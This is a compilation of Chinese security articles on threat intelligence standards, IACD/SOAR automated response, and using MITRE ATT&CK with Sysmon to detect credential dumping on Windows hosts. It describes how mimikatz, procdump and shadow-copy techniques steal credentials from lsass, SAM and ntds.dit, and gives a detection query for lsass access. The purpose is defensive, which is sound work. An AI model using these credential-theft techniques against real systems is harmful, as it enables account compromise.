ATT&CK是一种描述 TTPs的表达规范，如图 14所示。

图 14威胁情报困难程度金字塔

针对目前各个层次的威胁数据模型和规范对比，如图 15所示。
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图 15威胁数据模型和规范对比

其中，STIX、CAPEC 和 ATT&CK 均可用于 TTPs 的描述，对 STIX 1.0、STIX 2.0、CAPEC 和

ATT&CK进行对比，如下图 16。

图 16 TTPs相关规范对比

至此，各层次威胁情报表达规范的理论基础已经完成且完整。
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图 17威胁情报相关的各类规范标准

结合等级保护条例 2.0中提出的部署威胁情报检测系统成为合规的必需，以及在 HW行动中威胁

情报发挥的重要作用，可以预计威胁情报的应用和落地将迎来爆发性增长。

在判断未来威胁情报发展的方面，具体的，可以从广度和深度层面，预判威胁情报的应用方向。从

广度层面，可以根据威胁情报规范支持的业务用例来分析威胁情报的应用方向，可以归纳为：1）威胁

检测；2）事件调查和取证；3）威胁分析；4）情报共享；5）事故管理；6）漏洞管理；7）风险评估；

8）红蓝对抗；9）攻击者仿真；10）SOC成熟度评估等，如图 18所示。
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图 18威胁情报支持的用例

在深度层面，可以从当前设备和系统支持的情报类型进行判断，以检测为例，当前支持的威胁情

报检测主要集中在 Hash、IP地址和域名上，后续可以尝试往网络或主机特征、网络工具和 TTPs方面

进行支持。

3.4.1 响应闭环

前面描述的是检测、分析场景，后面进入响应闭环。我们知道，在一次攻防对抗中，攻击者从开始攻

击到攻陷目标，以及从攻陷目标到窃取数据，往往只需要几分钟；而防护人员从系统被攻陷到发现被

攻陷，以及从发现被攻陷到排查恢复系统，往往需要几天、几周甚至几个月的时间，如图 19所示。攻

防双方的不对称性是当前网络空间安全防护的最根本问题。
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图 19攻击、检测 &响应的现状

而在攻击过程中，从攻击者开始实施攻击到防御方发现识别攻击，这段时间是攻击者的自由攻击

时间。从识别攻击到系统响应和恢复，这是系统的响应处置时间。威胁情报重点解决的是缩短攻击者

的自由攻击时间，即快速检测和识别攻击者的攻击行为；而从整个响应闭环的角度来考虑，还需要缩

短系统的响应处置时间，如图 20所示。

图 20攻击者的自由攻击时间

目前相关的模型有很多，也在不断迭代更新，从 PDR到 PPDR，再到 IPDRR、IPDRRDR和 OODA，

但本质上还是强调响应闭环，即快速检测和识别、快速响应和处置。这是 SOAR重点关注的内容，最

大限度的缩短检测和响应处置时间、简化流程、提升运营效率。以 IACD为例来分析威胁情报为代表

的热点安全技术在响应闭环中所处的位置。

IACD目前是最规范、最完整的安全自动化编排规范（IACD详情介绍见链接），如图 21所示，可

以看到，IACD体系结构包括：

（1）传感器/传感源（Sensor/Sensing Sources）：传感器接收和发送数据到编排服务；
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（2）执行器/执行点（Actuators/Action Points）：执行器实现对网络事件的响应行为；

（3）传感器/执行器接口 (Sensor/Actuator Interface，S/A接口)：S/A接口使得企业内的各式传感器和

执行器集合可以相互通信；

（4）意义构建分析框架 SMAF：SMAF用于丰富信息；

（5）决策引擎 DME：DME将决定采取什么样的响应措施是合适的；

（6）响应行为控制器 RAC：RAC将响应措施传输到一个响应行为队列中；

（7）编排管理 OM：OM调整信息流和编排服务的访问控制；

（8）编排服务（Orchestration Services）：五个组件的集合 (S/A接口、SMAF、DME、RAC和 OM)。

图 21 IACD响应处置流程

其中，检测类情报主要用于传感器/传感源部分；以 OpenC2为代表的设备系统控制规范主要用在

传感器/执行器接口部分；目前讨论和研究比较火热的大数据分析技术，主要用在意义构建分析框架

SMAF和决策引擎 DME中，基于采集和积累的数据开展分析和决策；Playbook可以理解为积累和归

纳的处置流程预案，主要体现在响应行为控制器 RAC中；执行累情报则通过传感器/执行器接口，根

据响应行为控制器 RAC制定的 Playbook，在执行器/执行点中执行响应的处置操作。

在 IACD整个响应处置流程中，可能会涉及不同的业务场景，任何一家厂商都难以构建完整的工

具和产品能力。IACD对安全产品和能力进行抽象，以便甲方可以充分整合不同厂商的安全产品和安

全能力，缩短检测和响应处置时间，以发挥最佳的安全效果，如图 22所示。

图 22 IACD对安全产品和能力的抽象
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IACD在实验局点测试中，实施效果改进明显，其中：检测时间缩短了 99%，对事件的并发处置能

力提升了 10000倍，响应时间缩短了 98%。

图 23 IACD的实验测试效果

可以预见随着以 IACD为代表的安全自动化编排规范和技术在不同业务场景的逐步落地和发挥效

果，响应闭环将深刻影响着自动化安全技术和安全产品的发展和应用。

3.5 展望与建议

随着近几年对威胁情报和自动化响应编排等概念的炒作，现在已经逐步实际积累、应用和发挥效果的

初级阶段，对于后续的技术发展和市场前景，笔者持积极乐观态度，同时，也梳理了几点建议：

（1）威胁情报已然成为安全防护体系的基础组件，云、管、端的安全防护、检测和分析累的设备和

系统，需要在深度和广度层面，支持威胁情报应用的检测和响应处置功能；

（2）安全防护、检测和分析类产品需要支持接口化（不只是 API）、规范化（OpenC2）、云化、运营

化；

（3）在分析和响应处置过程中，安全分析人员的分析处置能力尝试往 Playbook和知识图谱等方面

进行整合和沉淀，提升自动化分析和处置的程度，降低人力依赖成本；

（4）IACD是构建大型防御体系、新型安全生态和产品的重要参考，是目前网络空间安全业务的重

要方向，也是国际一线安全企业的最新重要实践，建议国内安全企业的规划和实践人员可以参考学习；

（5）由大甲方（政府、国企等）和大乙方（大型安全厂商）尝试构建互补的、良性竞争的安全合作

生态，避免安全厂商构建全栈安全产品线的、同质化的竞争。

3.6 名词解释

ATT&CK，AdversarialTactics, Techniques, and Common Knowledge，对抗性策略、技术和通用知识

SOC，SecurityOperations Center，安全运营中心

TTPs，Tactics, Techniquesand Procedures，战术、技术和程序，也叫攻击战技

IoCs，Indicator of Compromise，攻陷指标
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IACD，Integrated Adaptive Cyber Defense，集成的自适应网络安全防护框架

PDR，Protect-Detect-Respond，保护-检测-响应

PPDR，Predict-Prevent-Detect-Respond，预测-防御-检测-响应

IPDRR，Identity-Protect-Detect-Respond-Recover，识别-保护-检测-响应-恢复

IPDRRDR，Identity-Protect-Detect-Respond-Recover-Diagnose-Refine，识别-保护-检测-响应-恢复-诊

断-改善

SOAR，Security Orchestration, Automation and Response，安全编排、自动化和响应

OODA循环，Obeseve, Orient, Decide, Act，观察，调整，决策以及行动

SMAF，Sense-Making Analytic Framework，意义构建分析框架

DME，Decision Making Engine，决策引擎

OM，Orchestration Manager
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浅谈 ATT&CK对提升主机 EDR检测能力的探索

作者：安全狗 safedog

来源：安全狗 safedog

4.1 一、前言

ATT&CK是今年国内安全行业的一个备受瞩目的火热概念，很多组织和厂商发布了文章阐释各自对

于它的理解，甚至连不少甲方单位也开始关心起 ATT&CK，不仅向安全厂商咨询其在这方面的研究

成果，似乎也有意将其当做衡量厂商产品能力的一个维度—---安全圈一时间颇有些 ‘‘平生不识此概念，

纵做安全也枉然’’的氛围。

当然，这个现象很正常，ATT&CK作为一项来自国外的新技术概念，安全行业理所应当对其进行研

究分析。但另一方面，当前业内对于 ATT&CK的研究分析存在很多误解和片面的地方，因此我们从自

己的角度出发对 ATT&CK进行了一些探讨，希望能够还原其本来面目、消除过度的 ‘‘神秘感’’，重新

审视这一技术的真正价值。当然作为一家之言，我们肯定也存在不客观的地方，是非对错，尽付公论。

4.2 二、ATT&CK

4.2.1 1、ATT&CK框架介绍

ATT&CK（Adversarial Tactics, Techniques & Common Knowledge）是MITRE公司开发的、基于真实环

境观察攻方战术和技术的知识库。

MITRE是由美国政府资助的一个非盈利研发机构，向美国政府提供系统工程、研究开发和信息技

术的支撑。并和美国国家标准与技术研究所 (NIST)标准化组织合作制定相关安全标准，比如漏洞缺

陷 CVE、CWE编号规则以及威胁情报格式 STIX。

MITRE ATT&CK框架内系统性的收集整合了整个攻击过程完整生命周期的攻击手法的知识库，并

且这些攻击手法均来自于对真实安全事件的洞察。该框架把攻击者所采用的 TTP(战术 Tactics,技术

Techniques,过程 Procedures)系统性地组织起来。在每个战术项内又包含实现该战术目的的各种已知的

攻击技术，同时在每项技术中详细描述了运用该技术的具体步骤和流程。

ATT&CK模型是在洛克希德-马丁公司提出的 Kill Chain模型的基础上，构建了一套更细粒度、更

易共享的知识模型和框架。现在经过几年的发展，整个矩阵内容变得丰富，被拆分为 PRE-ATT&CK

和 ATT&CK for Enterprise，其中 PRE-ATT&CK覆盖了 Kill Chain模型的前两个阶段，包含了与攻击者

尝试利用特定目标网络或系统漏洞进行相关操作有关的战术和技术。ATT&CK for Enterprise覆盖了

Kill Chain的后五个阶段。
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ATT&CK for Enterprise将网络安全事件划分为 12个阶段。初始访问阶段、执行阶段、持久化阶段、

提权阶段、防御规避阶段、凭证访问阶段、发现阶段、横向移动阶段、采集阶段、命令与控制阶段、

渗出阶段、影响阶段。攻击手法和各阶段的映射关系如下图所示:

4.2.2 2、ATT&CK的能力

ATT&CK知识库被用作在政府以及网络安全产品和安全服务中开发特定威胁模型和方法的基础。同时

也可用来检测 EDR产品是否具备侦测 APT的能力。现在主要被应用在模拟攻击、评估和提高防御能

力、威胁情报提取和建模、威胁评估和分析四大方向上。

1、模拟攻击：基于 ATT&CK进行红蓝攻防演练，进行红蓝军建设；

2、检测分析：基于具体的’’技术 ‘‘，有效增强检测能力，用于甲方安全建设；

3、威胁情报：使用 ATT&CK框架来识别攻击组织，用于安全情报建设；

4、评估改进：将解决方案映射到 ATT&CK威胁模型，发现并弥补差距，用于评估安全能力。

ATT&CK框架内整合的知识库为安全行业提供了一个标准，对已知的 TTPs进行收集，促进安全

产品的优化改进。本文将从 TTPs的检测、分析提出关于 ATT&CK框架在提升主机 EDR检测能力的

探索和思考。
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4.2.3 3、ATT&CK落地环境

本文将要探讨的是 ATT&CK框架在终端安全产品的落地和应用。ATT&CK的出现为终端安全产品的

检测能力提供了一个明确的，可衡量，可落地的标准，改变防守方以往对于入侵检测常常会陷入不可

知和不确定的状态中，有效的弥补自己的短板，通过检测攻击的技术，映射到 ATT&CK的战术，清晰

的了解攻击者所处攻击阶段。

另外如果能让终端安全产品具有针对 TTP的检测能力，无疑能增强安全产品的核心检测能力，提

高攻击检测的覆盖度和自动处置的精确度，避免被攻击者通过一些简单的变形绕过检测，因为针对

TTP进行检测，意味着我们是在根据攻击者的行为进行检测。如果攻击者想要躲避检测就需要改变他

们的行为，这需要研究一些新的技术和攻击手段，这意味着更高的难度和付出更大的成本。

而所有的攻击检测都是基于数据源和策略的特征匹配。我们如果需要检测某个攻击技术，首先需

要获取到这项技术所对应的数据，这些数据就是当攻击者执行某项技术攻击主机或网络后，在主机或

网络设备上留下的蛛丝马迹，他们所呈现的形式往往是各种日志，可能是系统或应用内置的日志，也

可能是因为安全需要而特意录制的日志数据。在MITRE ATT&CK的每项技术描述中都有对应于该技

术的数据源信息，它告诉我们可以从哪些类型的数据中找到攻击技术实施后所留下的痕迹。

4.2.4 4、数据分类

通过在 STIX 2.0 GitHub存储库中，调用与 ATT＆ CK对象和属性映射的 STIX对象和属性，对数据源

进行分析统计，共有 59种。
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下图是通过对每个数据源能检测的技术数量进行统计，并获取检测数量前十的数据源排行。

4.2.5 5、技术选择

除了检测数据源的获取，针对不同技术点的检测也有难易程度之分。场景复现时，有些只需要执行系

统命令，公开工具，而有些是需要特制、专用工具，检测从常见命令程序监控，到深入系统内核调用，

进程上下文监控。

(网图：检测攻击技术的难易表)

以及同一个工具不同的命令、不同形式的使用，可映射不同攻击阶段的不同技术，检测的技术点

也是不一样的。以下为分析 mimikatz工具映射的 TTP。
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4.3 三、Sysmon

4.3.1 1、Sysmon介绍

Sysmon是微软的一款免费的轻量级系统监控工具，最开始是由 Sysinternals开发的，后来 Sysinternals

被微软收购，现在属于 Sysinternals系列工具（带有微软代码签名）。它通过系统服务和驱动程序实现记

录进程创建，网络连接以及文件创建时间更改的详细信息，并把相关的信息写入并展示在 windows的

日志事件里。经常有安全人员使用这款工具去记录并分析系统进程的活动来识别恶意或者异常活动。

Sysmon安装后分为用户态系统服务，驱动两部分，用户态通过 ETW(Event Tracing for Windows)实

现对网络数据记录，通过 EventLog对驱动返回的数据进行解析，驱动部分则通过进、线程，模块的回

调函数收集进程相关的信息，通过Minifilter文件过滤驱动和注册表回调函数记录访问文件、注册表的

数据。

4.3.2 2、选择理由

从功能上来讲，Sysmon 一旦安装在系统上，在驻留系统期间，可以监视系统活动并将其记录到

Windows事件日志中。与一般检测工具相比，Sysmon可以执行系统活动深度监视，并记录高级攻击的

高可信度指标，是一款优秀的 HIDS、EDR的主机入侵检测引擎。

稳定性方面超过大部分自研的驱动，功能完善，对性能影响较小，虽然功能强大但却有很多监控

盲区。若加以自研 Agent与其配之，便可弥补自身监控盲区及非查询功能等其他需求。

接下来的针对 ATT&CK的技术检测主要依托 sysmon的监控,测试从终端捕获事件数据进行分析。

后面我将向您展示如何安装 sysmon以及如何使用自定义配置来过滤噪声并获得威胁特征。

4.3.3 3、搭建环境测试

执行 sysmon程序进行安装，用于生成日志监测数据。
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模拟攻击环境，编写批处理文件，执行 minikatz恶意程序（可用于从内存获取明文密码、黄金票据

和万能钥匙等）。

安装 winlogbeat产品，帮助我们将Windows事件日志实时流式传输到我们的 ELK存储。

打开winlogbeat.yml文件编辑其收集的日志类型。在-name：System后添加以一行：-name：Microsoft-

windows-sysmon / operational
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进行 winlogbeat的配置测试，执行.winlogbeat.exe -c .winlogbeat.yml -configtest -e。测试正常后，开

启服务，执行 start-service winlogbeat。

处理遭受攻击后捕获系统监测数据，可用于二次分析处理。
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建议优先考虑您在环境中当前可能看到的内容，而不是仅选择矩阵中的任何技术。例如，如果您

的环境中正在运行 Sysmon，并且正在收集 “ ProcessCreate’’事件，则可以优先考虑需要将 “ Process

Monitoring’’或 “ Process命令行参数’’作为数据源的技术。

4.4 四、分析过程

在本文中，主要探讨通过利用 minikatz技术来利用获取 hash凭证或者传递的过程，这一类技术主要是

通过命令行参数检测及程序运行上下文相关调用进行监测，然后通过对其特征进行提取，分析如何有

效降低数据噪声，并模拟测试命令执行建立会话进行验证，不断提升工程化实施检测的效果。

以下通过调用系统 API接口实时监测系统命令行程序调用接口，通过匹配命令行参数特征，模拟

检测恶意攻击。
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但是单纯通过匹配命令行参数特征，虽然能够匹配一定的攻击事件，但是也存在被容易绕过的现

象。

4.4.1 1、Sysmon工具分析

我们可以借助 Sysmonview这类工具可以很好的将攻击者的行为，恶意程序执行过程完整呈现出来。有

助于行为分析，特征提取。由下图可以分析，mimikatz执行过程中先后加载了 cryptdll.dll、samlib.dll、

hid.dll、WinSCard.dll、vaultcli.dll等动态链接库，并访问了系统 lsass.exe进程。
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但是被调用的这些 dll是不是只有 mimikatz才会调用的程序，是不是存在噪声，还是无法确定，可

能存在某些程序也需要调用这些 dll文件，还是需要进一步分析确认。
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4.4.2 2、Sysmon数据平台分析

面对海量的数据日志，我们需要有个大的数据平台，进行分析，了解主机，进程、文件、网络、驱动、

注册表、管道等一系列对象间的关联关系，分析比对，筛选出符合某些攻击技术的能够识别的最小唯

一特征。

4.4.3 3、Sysmon规则分析

通过行为分析，初步提取特征后，我们可以通过 sysmon规则进行特征匹配。

ATT&CK技术编号 T1003-凭证转储可通过以下 sysmon规则配置，进行监测。
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或者通过 yaml规则，进行配置检测。

在系统日志检测，结果成功捕获 minikatz相关运行信息。
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因为使用 bat脚本来运行 minikatz程序，所以下图显示命中技术 T1036-混淆攻击的检测规则
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像 Mimikatz这样的凭证转储程序可以直接通过本地二进制程序文件执行，也可以通过 Powershell

直接加载到内存中运行，并从内存中读取其他进程的数据。分析查找这类程序时，可进一步分析提取

进程请求特定的权限以读取 LSASS进程的部分，用以检测何时发生凭证转储。辨别Mimikatz与其他

程序使用的常见访问模式。

常见的Mimikatz GrantedAccess模式。

这些特征特定于 Mimikatz当前版本的工作方式，因此对于 Mimikatz的将来更新和非默认配置都

是不可靠的。

EventCode=10

TargetImage=”C:\WINDOWS\system32\lsass.exe”

(GrantedAccess=0x1410 OR GrantedAccess=0x1010 OR GrantedAccess=0x1438 OR GrantedAccess=0x143a

OR GrantedAccess=0x1418)

CallTrace=”C:\windows\SYSTEM32\ntdll.dll+|C:\windows\System32\KERNELBASE.dll+20edd|UNKNOWN()”

table _time hostname user SourceImage GrantedAccess

以下是编号 T1003凭证访问阶段战术凭证转储技术映射更细粒度多个子技术的 sysmon配置语句。

以下为系统检测到键盘记录器创建文件的行为，可以通过检测异常行为，提升检测攻击的能力，发

现主机侧更多的安全问题。
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4.5 五、Sysmonhunter分析

利用 Empire工具进行模拟测试，Empire是一款内网渗透测试利器，其跨平台的特性类似于Metasploit，

有丰富的模块和接口，用户可以自行添加模块和功能，是针对 PowerShell利用较好的平台。

通过对终端监测的数据进行特征匹配处理，并将结果推送到 Elasticsearch数据库，查看数据的录入

情况。

通过分析查看 dll的调用次数，分析文件是不是存在被正常程序调用的情况。
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分析某些 dll是只被某些程序调用，或是某些操作必须调用的过程，需要逐个分析，判断能够被当

成特征工程的一个指标。

通过导入图数据库进行关联分析，蓝色表示程序，红色表示调用过程，黄色表示节点，绿色表示终

端编号。
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4.6 六、实际应用

结合产品进行检测，通过抽象提炼，完成了适当的分类，将攻击者的行为和具体的检测方式联系起来。

通过抽象提炼，形成一个通用检测方法，让产品可以检测单项对抗行为及其目标。

4.6.1 1、单点测试

测试框架应用

Atomic Red Team是一个简单测试库，每个安全团队都可以执行此测试来测试安全产品的检测能

力。该测试库是映射到 MITER ATT＆ CK框架的小型、高度可移植的检测测试框架。每个测试旨在

映射特定的策略。

以下通过该交互式测试框架，检验 EDR的检测能力。

任何攻击者进入内网最想要的是窃取尽可能多的凭据。如果他们能用凭证登录其他系统，就没必

要在通过研究其他资产尚存的漏洞，进行测试攻击，所以主机凭据获取，历来都是兵家必争之地，不

管是渗透测试、红蓝对抗还是护网行动，得凭证者得天下。故以下选取相关凭证获取相关攻击的应用

检测。

卷影副本操作

vssadmin用于创建/删除Windows驱动器的卷影副本的命令。卷影副本简单理解就是备份，您可以

创建卷影副本备份和完全相同的文件副本。例如，以独占方式打开的数据库以及由操作员和系统活动

打开的文件都可以通过命令在创建卷影副本过程中备份。可以使用卷影副本将 SAM文件导出，配合

SYSKEY利用 mimikatz等工具获得 NTLM Hash。也可以利用 VSS卷影副本拷贝 ntds.dit，ntds.dit是

AD（活动目录）中的数据库文件，包含有关活动目录域中所有对象的所有信息，其中包含所有域用户

和计算机帐户的密码哈希值。

以下是产品依据程序 hash及进程行为分析后的检测情况。
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Mimikatz

mimikatz是法国人 Gentil Kiwi编写的一款 windows平台下的神器，它具备很多功能，其中最亮的

功能是直接从 lsass.exe进程里获取 windows处于 active状态账号的明文密码。mimikatz的功能不仅如

此，它还可以提升进程权限，注入进程，读取进程内存，hash传递等等

以下是产品依据程序 hash及进程行为分析后的检测情况。

Procdump

Procdump是Windows工具包里的一款工具，由于有微软的官方签名，所以大部分杀软不会查杀。

通过 procdump导出 lsass.exe的内存文件，在用 mimikatz.exe在本地读取内存文件提取密码。

以下是产品依据程序 hash及进程行为分析后的检测情况。

Ntdsdump

Ntdsdump是 NTDS.dit（活动目录数据库）密码快速提取工具，可通过从域控制器上导取的 ntds.dit

文件以及 SYSTEM文件，离线获取域控制器上所有 hash的神器。

以下是产品依据程序 hash及进程行为分析后的检测情况。
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4.6.2 2、场景测试

勒索检测

模拟执行勒索程序后，通过提取行为特征，hash比对，匹配特征库，检测异常告警。
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最终通过自动分析判定主机正遭受勒索病毒攻击。

4.7 七、持续演进

4.7.1 1、ATT&CK细化子攻击的粒度

虽然 ATT&CK提供了一套系统的理论指导，但仍任然不能解决具体的检测点技术问题，没有描述技

术的特定实现的方法。对于某些技术描述还是比较笼统，对于检测安全产品的检测覆盖率还是不够。

ATT&CK的广度问题目前已经基本解决了，往后发展就是不断增加深度，不是一个测试用例就算覆盖

一个指标了，而是一组测试用例可以验证一个指标的深度。

近期 ATT&CK组织为了增强框架结构，开始对整个框架进行调优和重新设计，细化描述攻击技术

的粒度，提出了子技术概念。子技术是一种更详细地描述技术的特定实现的方法。后期可以在技术列

表中，查看可以执行技术的各种方式。例如凭据转储就是一个很好的例子。

在 ‘‘凭据转储’’的技术中，可以执行该操作的方式共计 9个，例如 Windows SAM和 ‘‘缓存的凭

据’’。尽管最终结果每次都是相似的，但很多不同的行为都集中在一种技术中。对于子技术，我们将

对其进行拆分，并拥有一种顶级的凭证转储技术，其下具有九种子技术，以更详细地介绍这些变化，

以了解它们如何以特定方式应用于各个平台。

子技术将从.001开始，并随着每个新的子技术递增。例如，访问令牌操纵仍将是 T1134，但是 ‘‘令

牌操纵/盗窃’’将是 T1134.001，‘‘使用令牌创建进程” T1134.002，等等

对子技术所需的技术的进行深入分析，导致战术和技术之间归属位置的调整。可能会删减了一些

不适合该策略核心定义的技术，例如 “隐藏文件’’和 ‘‘目录’’不适合 ‘‘持久性’’，以及一小部分需要弃

用的技术，例如 “ Hypervisor’’，在该系统中，我们发现没有证明的用例概念。以及技术降级到子技术

的调整。例如，由于我们添加了 “ Pre-OS Boot”技术，因此将现有的 Bootkit技术作为其子技术移至其

下方。

以下是将旧技术映射到新子技术的对应表
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4.7.2 2、攻防检测对抗

ATT&CK在持续更新升级，攻击者也在不断寻找更隐蔽的方法，绕过传统安全工具的检测，因此防御

者也不得不改变检测和防御方式。

就像上面我们用于入侵检测的 sysmon检测引擎，很多人在安装 Sysmon的过程中直接使用默认配

置，不更改文件名、服务名、驱动名，在攻击者发现主机环境装有 Sysmon后，通过对现有规则及对

环境分析，结合具体情境使用绕过及阻断方式组合技术，可轻松突破 Sysmon日志记录。所以防御方

需要对 sysmon进行隐藏，否则将影响对攻击者 TTP检测，及入侵行为检测。

从战术、技术和过程（TTPs）的攻击层面分析，现在攻击者使用工具，往定制化、模块化、无文件

落地发展，可绕过大部分传统的安全防护设备。例如以下工具运行不带任何参数可直接转储 lsass.exe

的内存。

这就需要依托安全厂商投入研究，研究分析得越透彻，攻击者绕过的难度就越高。尤其是针对现

有的 TTPs的研究，研究如何精确匹配攻击事件，我觉得这也是未来的趋势，往精准化检测前行，否

则安全分析人员，将被淹没在各种设备海量的告警中，剪不断理还乱，当然这是个持续的过程，在攻

防对抗中不断升级，不断演进。

4.7.3 3、大数据智能平台分析

往更深层次上讲，如果仅仅只为了发现特定的已知攻击行为而进行的检测会是什么样场景？一个新的

特征，一个新的告警，一个新签名，一个接一个！是的，这很可能是作为安全分析师在每天工作中所

经历的对于威胁的检测分析处理。我们是否想过，通过由几个开源框架组成的生态系统，自研启用高

级分析功能来增强威胁检测能力，通过赋能机器学习，构建大数据智能分析平台，进一步发展根据数

据做出预测或建议的分析技术，解决检测已知的威胁，通过关联分析，挖掘未知的威胁，提高检测率。
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4.8 八、小结

随着 ATT&CK 框架的不断完善和延伸，应用的方向也会更广。就目前阶段，我们认为深入分析

ATT&CK的 TPPs能提高主机 EDR产品对于入侵行为的检测和分析。ATT&CK是一个非常庞大的框

架，我们将致力于实战，从多维度深入研究，不断提高检测的广度和准确率。欢迎对 ATT&CK感兴趣

的安全爱好者和我们一起交流讨论。

4.8.1 关于安全狗海青安全研究实验室

海青安全研究实验室隶属于安全狗，主要负责构建网络威胁情报体系和专项二进制病毒（勒索、挖矿、

蠕虫等）研究及热点安全事件的追踪，研究最新的安全框架和体系并协助研发完成安全产品的技术落

地，为打造良好的网络安全环境贡献一份力量，以实现网络安全为使命。

4.8.2 关于作者

洪祺源，海青实验室Web安全研究负责人，在Web安全和 ATT&CK框架应用于主机 EDR领域方面

有较深的研究
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4.8.3 微信公众号二维码
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作者：李璇@绿盟科技

来源：https://mp.weixin.qq.com/s/d4XWTQieO-vhjLKhodrpZQ

长期以来，安全人员疲于采用一种又一种新技术，部署一层又一层的防御措施，只为了改善他们

的运营环境，期望在攻击者攻破系统之前，能够及时的发现和处置威胁。然而，随着攻击技术的不断

进化，这种情况并没有显著的改善，在暴露给攻击者的时间窗口下，将系统资产处于较高风险状态。

如何提高威胁发现和处置的效率，缩短暴露时间窗口是不得不面对的问题。ATT&CK和 SOAR技术为

改善此现状提供了新的思路。

5.1 攻防不对称是安全运营优化的驱动力

面对各种日新月异的威胁，企业安全运营面临的巨大压力。在攻防对抗中，攻击者从开始攻击目标到

攻陷目标，再到进行破坏窃取数据等，往往只需要几分钟；而安全运营人员从发现遭受攻击到发现资

产被攻陷，再到采取处置措施，往往需要几个小时、几天、甚至数月。其根本原因是由于攻防之间的

不对称。

攻防双方的不对称性驱动安全运营必须走持续优化之路。攻防不对称主要表现几个方面：

从时间上，攻击者处于先手位置；攻击者发起攻击了，防御者才有可能发现异常，并存在一定的

滞后。

从空间上，攻击者是以点破面，只要找到一个脆弱性，即可发起甚至成功的攻击。而防御者需全

面加固系统，封堵所有的风险点，而对于未知风险点，则无能为力。
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从技术上，面对攻击者层出不穷的攻击技术，防御者无法提前准备检测和处置措施，进一步加宽

了资产暴露的时间窗口。

就安全运营本身而言，也存在诸多问题。威胁信息和事件数量多、安全技术整合度低，人力不足

经验难以固化，使得安全运营面临严峻挑战。

尽管面对这种不对称性，但企业安全重中之重，仍然需要采取手段，优化运营，及时发现和处置威

胁。

5.2 威胁的及时发现和响应才能保障安全

没有绝对的安全。即便是全球顶尖的三家安全厂商，在今年 5月仍被国外主流媒体报道被黑客组织

Fxmsp攻破，源代码遭到泄露。所谓的 ‘‘安全’’是将风险控制在可接受的范围之内，在攻击者突破系

统防御之前，及时的发现威胁，并采取有效措施。

在基于时间的安全模型理论中，判据要求：

Pt > Dt + Rt

Pt是安全措施能够抵御攻击者的时间长度；Dt是发现威胁的时间长度；Rt是采取处置措施所消耗

的时间长度。判据要求在系统被攻破之前，能够发现和处置威胁，即

DeltaT = Pt – Dt - Rt，DeltaT > 0

DeltaT是系统暴露威胁下的时间窗口。DeltaT > 0，系统才处于相对安全的状态，则要求 Pt尽量

大，Dt和 Rt尽量小。然而，Pt时间长度与攻击者密切相关。具有丰富经验的攻击者能够快速的突破

各层防御，获取资产的控制权。反之，则需要较长时间。就比如，抢劫金库，凭借先进的枪支弹药，

能够很快突破防御。而凭借赤手空拳则很容易被堵绝在外。作为系统的安全员，无法左右攻击者的能

力。而对于 Dt和 Rt，则能够采用先进的理念和技术，缩短 Dt和 Rt，优化安全运营。

通过站在 ‘‘攻击者’’视角，加强对威胁的认知和理解，将安全防御涉及的预防、检测、缓解和补

救的步骤记录到一个或多个行动方针（course-of-action，COA）中，能够有效的缩短平均检测时间

（MTTD）和平均响应时间（MTTR）。当下的一些新兴技术为优化安全运营提供了新的思路。MITRE

ATT&CK提供了大量的攻击技术、战术和流程知识库，有助于理解攻击者行为，评估并完善攻击识别

能力，提高威胁发现的效率。SOAR通过对安全事件的智能化编排和自动化响应，对安全威胁做出了

全面高效的应对。下文就结合MITRE ATT&CK和 SOAR技术讲述如何加速威胁发现和处置。

5.3 ATT&CK加速威胁发现

5.3.1 3.1ATT&CK威胁分析体系

ATT&CK Framework是在杀伤链的基础上，构建了一套更为细化、更贴合实战的知识模型和框架。它

为威胁发生战术和技术做出了划分，为网络安全提供了威胁分析基准模型。其中，12种战术包括：访

问初始化、执行、持久化、提权、防御规避、访问凭证、发现、横向移动、收集、命令和控制、数据获

取、危害。每种战术之下，包括多种实现的攻击技术。
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5.3.2 3.2丰富而全面的数据源

丰富而全面的数据是及时、准确发现威胁的基础。仅仅依靠网络侧流量，很难发现发生在主机内的攻

击行为。随着加密流量的趋势，基于流量的检测将变得更加困难。ATT&CK提供了高价值的主机数据。

在 ATT&CK中每项技术介绍中，提供数据源需求。其 CARET项目为攻击分析提供更为清晰的指

导。下映射图攻击组织、攻击技术、分析技术、数据模型、sensor间建立关联关系。左至右展示了攻

击组织采用哪些攻击技术进行渗透，右至左展示了采用适当的 sensor收集数据，并分类和分析。二者

在 ‘‘分析’’做碰撞。图示检测 APT32攻击需文件、进程、用户会话和网络报文等类别的日志。对主机

日志的分析，能够为发现很多直接的证据，快速定位实锤性攻击。

5.3.3 3.3检测能力的更新优化

目前，基于攻击特征的检测仍然占据主流。威胁情报的加入，更使得基于特征的检测如虎添翼。然而，

面对威胁的多样化，如何评估检测能力，弥补差距呢？
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ATT&CK针对每种战术下，基于实际发生的攻击案例，广泛收集的攻击技术，它为威胁分析能力

提供了一个参考标准。任一攻击技术均可能是被攻击者采用的攻击手法。将安全产品检测能力映射到

框架中，根据其覆盖度度量的安全产品的检测能力。同时发现哪些检测点未覆盖到，发现不足，然后

进行主动完善。通过覆盖更多的攻击类型，降低漏报，减少人工取证的耗时。

5.3.4 3.4行为关联分析

基于特征的检测技术单一，无法检测未知的威胁。并且，检测的告警中可能混杂着系统正常操作的误

报。如运维工作人员也可能使用一些不常用的系统命令，如 cmd命令行，进行系统排错。如何将单点

的行为关联起来，对于排除误报，分析攻击全貌，定位失陷资产有很大的帮助。

攻击者在发起攻击过程中，结合安全事件的命中情况，从 ATT&CK矩阵可勾勒出攻击者所采用攻

击技术之间的关系，清晰的展现攻击者是如何一步一步入侵成功的。通过不断地攻击溯源分析，抓取

攻击套路，形成给为精确地检测规则。于此同时，提升运营人员威胁分析的能力，强化自身技术覆盖

范围，不断缩小与攻击者之间的差距，提高威胁检测效率。

5.3.5 3.5对抗提升安全员的运营能力

ATT&CK矩阵模型让 ‘‘攻击手法’’有了通用语言。在实际应用中，通过红蓝对抗，对红队活动和蓝队

活动，按照 ATT&CK矩阵进行比较，从中发现攻击方取得了多大程度的成功，采用了何种技术，漏检

哪些活动。助于增强安全人员对威胁的理解，帮助分析和响应人员更好的了解攻击者，熟悉真实环境

的对抗技巧，增强实战能力。

5.4 补齐威胁发现与响应间的缺口

5.4.1 4.1威胁模型演变

ATT&CK模型最直观的呈现是一个战术-技术矩阵，其模型的抽象层次被定位在比较中间的阶段。一

些处于高层次的威胁分析模型，比如 Lockheed Martin Cyber Kill Chain模型，有助于客户理解高维度

攻击过程和攻击者目标，但是对于表达攻击者攻击过程中的详情存在明显不足，如攻击者多个攻击动

